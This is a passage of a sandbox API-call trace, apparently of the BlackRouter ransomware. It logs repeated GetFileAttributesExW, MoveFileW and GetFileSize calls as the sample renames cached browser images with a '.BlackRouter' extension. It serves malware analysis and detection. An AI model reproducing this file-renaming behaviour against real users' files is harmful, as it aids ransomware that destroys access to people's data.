halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\19619569[1].gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45027e90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45027e90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce28cc70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xa760)) returned 1 [0066.508] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\19619569[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\19619569[1].gif.blackrouter")) returned 1 [0066.511] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x60c [0066.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome_throbber_fast_16[1].gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x60c69520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x60c69520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce28cc70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x610)) returned 1 [0066.514] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome_throbber_fast_16[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\chrome_throbber_fast_16[1].gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\chrome_throbber_fast_16[1].gif.blackrouter")) returned 1 [0066.514] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2b [0066.521] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\collect[1].gif"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x55333bf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x55333bf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce28cc70, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0066.521] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\collect[1].gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\collect[1].gif.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\collect[1].gif.blackrouter")) returned 1 [0066.522] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x14d [0066.525] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53017770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53017770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce2b2dd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x150)) returned 1 [0066.525] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png.blackrouter")) returned 1 [0066.526] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x197 [0066.538] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce2b2dd0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a0)) returned 1 [0066.538] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3e1pt[2].png.blackrouter")) returned 1 [0066.539] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2c2 [0066.551] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45856a30, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45856a30, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce2d8f30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2d0)) returned 1 [0066.551] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42ckd[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42ckd[1].png.blackrouter")) returned 1 [0066.552] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2c2 [0066.561] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a1fab0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a1fab0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce2ff090, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2d0)) returned 1 [0066.561] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA42eYr[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa42eyr[1].png.blackrouter")) returned 1 [0066.562] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x204 [0066.570] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce2ff090, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x210)) returned 1 [0066.570] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA61ILp[2].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa61ilp[2].png.blackrouter")) returned 1 [0066.571] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2ed [0066.573] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50ebbff0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50ebbff0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce3251f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0066.573] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA6SNZ6[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa6snz6[1].png.blackrouter")) returned 1 [0066.574] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2fc [0066.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x454eaa90, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x454eaa90, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce34b350, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x300)) returned 1 [0066.588] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAbyinC[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aabyinc[1].png.blackrouter")) returned 1 [0066.588] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x35c [0066.637] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5159c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5159c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xce3bd770, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0066.637] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAkqhIf[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aakqhif[1].png.blackrouter")) returned 1 [0066.638] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x19a [0066.671] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45bc29d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45bc29d0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce409a30, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1a0)) returned 1 [0066.671] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAmUyV2[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aamuyv2[1].png.blackrouter")) returned 1 [0066.672] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0xfe [0066.685] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce42fb90, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x100)) returned 1 [0066.685] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AAn7gKR[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aan7gkr[1].png.blackrouter")) returned 1 [0066.686] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x2c0 [0066.697] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45915110, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45915110, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce455cf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x2d0)) returned 1 [0066.697] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BB5zDwX[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bb5zdwx[1].png.blackrouter")) returned 1 [0066.698] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x227 [0066.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b042f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b042f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0xce455cf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0066.710] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBaK3Nm[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbak3nm[1].png.blackrouter")) returned 1 [0066.711] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x1ae2d8 | out: lpFileSizeHigh=0x1ae2d8*=0x0) returned 0x284 [0066.720] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png"), fInfoLevelId=0x0, lpFileInformation=0x1ae320 | out: lpFileInformation=0x1ae320*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe399c90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbe399c90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xce47be50, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x290)) returned 1 [0066.720] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 